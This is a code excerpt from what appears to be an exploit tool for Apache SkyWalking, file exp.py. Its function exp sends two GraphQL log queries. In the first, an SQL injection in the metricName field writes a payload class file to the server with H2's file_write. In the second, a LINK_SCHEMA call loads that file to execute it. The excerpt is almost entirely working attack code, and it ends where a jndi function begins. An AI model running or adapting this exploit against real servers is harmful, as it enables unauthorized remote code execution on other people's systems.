Function exp

SkyWalking/tool/exp.py:26–37

(burp0_url)

def exp(burp0_url):
    burp0_json1 = {"query": "query queryLogs($condition: LogQueryCondition) {\r\n        logs: queryLogs(condition: $condition) {\r\n            data: logs {\r\n                serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content\r\n            }\r\n            total\r\n        }\r\n    }", "variables": {"condition": {"endpointId": "1", "metricName": "INFORMATION_SCHEMA.USERS union  all select file_write('"+payload+"','"+ClassName+".class'))a where 1=? or 1=? or 1=? --", "paging": {"needTotal": True, "pageNum": 1, "pageSize": 1}, "state": "ALL", "stateCode": "1", "traceId": "1"}}}
    try:
        requests.post(burp0_url, headers=burp0_headers, json=burp0_json1, verify=False, allow_redirects=False, timeout=2)
    except:
        pass
    # 触发
    burp0_json2={"query": "query queryLogs($condition: LogQueryCondition) {\r\n        logs: queryLogs(condition: $condition) {\r\n            data: logs {\r\n                serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content\r\n            }\r\n            total\r\n        }\r\n    }", "variables": {"condition": {"endpointId": "1", "metricName": "INFORMATION_SCHEMA.USERS union  all select LINK_SCHEMA('TEST2','"+ClassName+"','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --", "paging": {"needTotal": True, "pageNum": 1, "pageSize": 1}, "state": "ALL", "stateCode": "1", "traceId": "1"}}}
    try:
        requests.post(burp0_url, headers=burp0_headers, json=burp0_json2, verify=False, allow_redirects=False, timeout=2)
    except:
        pass


def jndi(burp0_url):